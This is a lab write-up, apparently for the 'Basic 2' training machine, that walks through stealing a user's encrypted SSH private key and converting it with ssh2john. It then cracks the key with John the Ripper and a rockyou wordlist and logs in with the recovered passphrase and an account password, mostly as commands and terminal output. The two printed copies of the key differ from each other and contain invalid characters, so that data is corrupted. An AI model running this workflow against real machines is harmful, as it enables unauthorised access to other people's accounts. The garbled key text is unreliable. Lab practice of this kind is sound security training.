

Crack SSH Private Key Passwords with John the Ripper

I use system basic 2 on retake exam belt to do this lab

Secure Shell is one of the most common network protocols, typically used to manage remote machines through an encrypted connection. However, SSH is prone to password brute-forcing. Key-based authentication is much more secure, and private keys can even be encrypted for additional security. But even that isn't bulletproof since SSH private key passwords can be cracked using John the Ripper.

SSH Key-Based Authentication

The standard way of connecting to a machine via SSH uses password-based authentication. This has the advantage of being easier to set up but suffers security-wise due to being prone to brute-forcing and password guessing.

Key-based authentication, on the other hand, uses cryptography to ensure secure connections. A key pair is generated consisting of a public and private key. The private key should be kept secret and is used to connect to machines that have the matching public key.

The public key is used to encrypt communication that only the associated private key can decrypt. This makes it nearly impossible for hackers to compromise SSH sessions unless they have access to the private key.

The below steps assume you have already gained access to a target computer from your local machine. I'm using Kali Linux as the local.

```
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -al
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56E223oAaJxLvhuSZ1crRr40NGUANkKcRxxg3+9vn6xcujpzUDuUt1Z
o9dyIEJB4wUZTueBPsmB487RdFVKTOVQRVHty1K2aLy2Lka2Cnfjz8LLv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3Q0FIYLSPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjtZnLTEBw31mxjv0LLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lp1bCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnB/U+dRasu3oxqyklKU2dPseU7rLvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgt0faly0bMqGIRm+eWVoX0rZPBlv8iyNTDdDE
3jRjqb0GLPs01hAWKIRxUPaEr18LcZ+0LY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oK01aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSAVFCJEC3cDgn5TvQUXfh6CJJRVrhdXVY
VqVjsot+CzF7mbWm5nFsTPPL0nndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWmMVe
B0WhqnPtDtVtg3sFdxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUDON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKb0+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKBel4XLWR+4HxbotpJx6RVByEPZ/kVi0q3S1
```

Ssh2john

Ssh2john is part of John the Reaper suite. This is a script that basically transforms [RSA/DSA/EC/OPENSSH (SSH private keys)] private key to john format for later cracking using JtR.

How to

Having an RSA private key already

- cat key1
- key1 == id_rsa

```
(root@kali:~/Desktop) # cat key1
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, 6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRvg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBpSmb487RdFvkTOVqrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3Q0FIYlSPMyv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjTznLEBw31mxjv0lLXAqIaX5QfXMacIQUWCHATlpVXmN
lG4BaG7cVXs1AmPieFLx7uN4RuB9NZS4Zp0lp1bCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdbn/U+dRasu3oxqykLKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKlQxMl
lIWZye4yrLETfc275hzVvYh6FkLgt0faly0bMqG1rM+eWVoX0rZPBlv8iyNTDdDE
3jRjqb0GlPs01hAWKIRxUPaEr18LcZ+OLY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWLXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oK01aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHZNwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVRhdxVy
VqVjsot+CzF7mbWm5nFstPPL0nndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWmMVe
B0WhqnPtDtVtg3sFdxp0hgGXqK4bAMBNM4chFcK7RpvCRjSkYwYVEDJMYvc87Z0
ysvOpVn9WnFOUDON+U4pYP6PmNU4Zd2QekNINWEXZIZMyypuGCFdA0SARf6/kkWG
oHOACCK3iHAQKB0+SfLgXBaHxb6k0ocMQAWIOxYJunPKN8bzzlQLJs1jrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbeL4XLWR+4HxbotPJx6RVByEPZ/kV10q3S1
GpwHSRZon320x44h0PkcG66JdyHLS6B328uViI6Da6frYi0nA4TEjJTP05RpsEK
QKIG65gICbpcWj1U4I9mEHZeHc0r2lyuFzbnfYUr0qCv08+mS8X75seeoNz8auQL
4DI4IXIT5saCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGXnNw3tbnD8wGveG
VfNSaExXeZA39jOgm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/NiK
oSXl0Jc8aZemI15RAH5gDCLT4k67we19j/JQ6zLUT0vSmlono1iFdsM04nUnyJ3
z+3XTDtZoU15NiY4JyCPLhTNNjAlqnpC0aqad7gV3RD/asml2L2k80UT8PrTt+S
baXKPFHdHmownGmDatJP+eMrc6S896+HAXvcvPxLKntI7+jsNTwuPBCntSFvo19
l9+xxd55YTVo1Y8RMwJopzx7h80rt7U+Y9N/BVtbt+XzmYLnU+3qOq4W2q0ynM2P
nZjVPpeh+8DBoucB5bfXsiSkNXYsCED4lspXUE4uMS3yXbPZ/44SyY8KzrAzaI
fn2nnjwQ1U2FaJwNtMN50ishONDEABf9lIa46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7m+ml15ZX76snfJE9suva3ehHP2AeN5hWDMw
X+CuDSIXPo10RDx+OmmoExMQn5xc3LVtZ1RKNqono7fA21CzuCmXI2j/LtmYwZEL
0ScgwNTLqpB65fLdj5cFA5cdZLaXl1t7XDRZwggSnCt+6CxsZEndyU0lri9EZ8XX
oHhZ45rgACPHcdWcrKCBf0Q501hJq9nSJe2W403Ljmsx/U3YLauJaVgrHkFoejnx
CNP0tuhHcVQssR9cUi5it5toZ+iiDfloyb.f82Y0wN5Tb6PTd/onVDtskIlFE731
DwOy3ZfL0l1FL6ag0iVwTrPBL1GGQoXf4wMbwv9bDF0Zp/6uatViV1dHeqPD80tj
Vxfx9bkDezp2QL2yohUeKBDu+7dYU9k5Ng0SQAk7JJJeokD7/m518cFwg/g5Vqa8r
sG0xQ5Mr3mKF1n/w6PnBWXYh7n2L36ZNFac01V6szMaa8/489apbbjpxhutQNu
Eu/LP8xQLxmmpvPsDACMtqA1IpoVl9m+a+sTRE2EyT8hZIRMIuaaoTZIV4CHuY6Q
3QP52kfZzJbt3ciN2AmYv205ENIjvrsacPi3PZRNlJsbGxmXOkVXdVPC5mR/pnIv
wrrVsgJQJoTpFRShHjQ3qSoJ/r/8/D1VCvtD4UsFZ+j1y9kXKLAT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUYD79guGh3He5Y7bL+mdXKNZLMLzOnauC5bKV4i+YuJ7
AGIEXXRIJXlwF4G0bsL5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYFncxMyK
AXDK5wwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaM2Sn0SyHXuVlB4Jn5
phQL3R80rZETsuXfDVKrPeaOKEE1vhEVZQVX50HGcuIDYkCA6a16WYdI9i2+uNR
ogjvVVBVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+LeRgF3yrP9a2kLaADk9dBQcV
ev6cTcfzhBhyVqml1WqWDUZtR0TwfL80jo8QDLq+HE0bvcB/o2FxQKYETgfh4/UC
D5qrsHAK15DnhH4IXrIkPLA799CXrhWi7mF5Ji41F307iAEjwKh6Q/YjgPvgj8LG
QsCP/iugxt7u+91J7qov/RBT07GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM2Ewao8glguHN5VtANh0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRNDGAAPXh+LgPyE8S21it8aPuP8gZABUfjBbEFmWNYB
e5ofsDLi0hCVzsw/DiUrF+4liQ3R36Bu2R5+kmpFIkew1tYWIY7CpfoJSD74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9Mhwpdin90ZTq02zNxFvpuXthY
-----END RSA PRIVATE KEY-----
```

locate the ssh2john script using find

- find / -iname *ssh2john* > /dev/null
- locate *ssh2john*

```
(root@kali:~) - [ /home/kali/Desktop ]
# find / -iname *ssh2john* > /dev/null

(root@kali:~) - [ /home/kali/Desktop ]
# locate *ssh2john*
/home/kali/john-bleeding-jumbo/run/ssh2john.py
/usr/share/john/ssh2john.py
/usr/share/john/__pycache__/ssh2john.cpython-39.pyc
```

Run the script against the RSA private key 'id_rsa', and create a new file with the content of the output

- /usr/share/john/ssh2john.py
- /usr/share/john/ssh2john.py key1 > key1.john
- Cat key1.john
- Key1 == id_rsa

```
(root@kali:~) - [ /home/kali/Desktop ]
# /usr/share/john/ssh2john.py

Usage: /usr/share/john/ssh2john.py <RSA/DSA/EC/OpenSSH private key file(s)>

(root@kali:~) - [ /home/kali/Desktop ]
# /usr/share/john/ssh2john.py key1 > key1.john

(root@kali:~) - [ /home/kali/Desktop ]
# cat key1.john
key1:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de8
72e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced17455644ce550ad51edcb52b668bc
d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36dd7d702400
a21a5f941f79731a70840e51608701396955798d946e01686edc557b350263e279f971eee37846e07c
69485640909d9dbfd4f9d45ab2ede8c6aca494a53674fb1e53bae5bcf02a6bacbea202bfc284db9d3a
7a1642e0b4e7da972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6
d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6bbe697b8655c5f98cb7441c2b8a0a3b5
56ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bfd21c114e7a
951422440b7703827e53bd05177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e
c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f0918ec
e2960fe8f98d53865dd907a434859811764864ccb2a6e18215d03448045feb7f90ac06a073800822b78
cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d1616ff7fc68129b7a5e1
```


Now that we created the new file named **key1.john**, we need to run **john** against it. We will use **rockyou.txt** as the wordlist. The result is as **beeswax** the password.

john --wordlist=/usr/share/wordlists/rockyou.txt key1.john

```
(root@najt)-[/home/kali/Desktop]
# john --wordlist=/usr/share/wordlists/rockyou.txt key1.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (key1)
1g 0:00:00:00 DONE (2022-01-29 19:39) 7.692g/s 636553p/s 636553c/s 636553C/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Knowing already the username of the owner of this private key. We can try to SSH to our target machine.

- **ssh -i key1 jan@192.168.1.153 -p 22**
- Password: **beeswax**

```
(root@najt)-[/home/kali/Desktop]
# ssh -i key1 jan@192.168.1.153 -p 22
WARNING: UNPROTECTED PRIVATE KEY FILE!
Permissions 0777 for 'key1' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "key1": bad permissions
jan@192.168.1.153's password: beeswax
```

Change permission file **key1**

```
(root@najt)-[/home/kali/Desktop]
# chmod 600 key1

(root@najt)-[/home/kali/Desktop]
# ssh -i key1 jan@192.168.1.153 -p 22
Enter passphrase for key 'key1':
```

```
(root@kali) - [/home/kali/Desktop]
# ssh -i key1 jan@192.168.1.153 -p 22
Enter passphrase for key 'key1': beeswax
jan@192.168.1.153's password: armando
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

283 packages can be updated.
201 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Jan 29 06:24:55 2022 from 192.168.1.102
jan@basic2:~$
```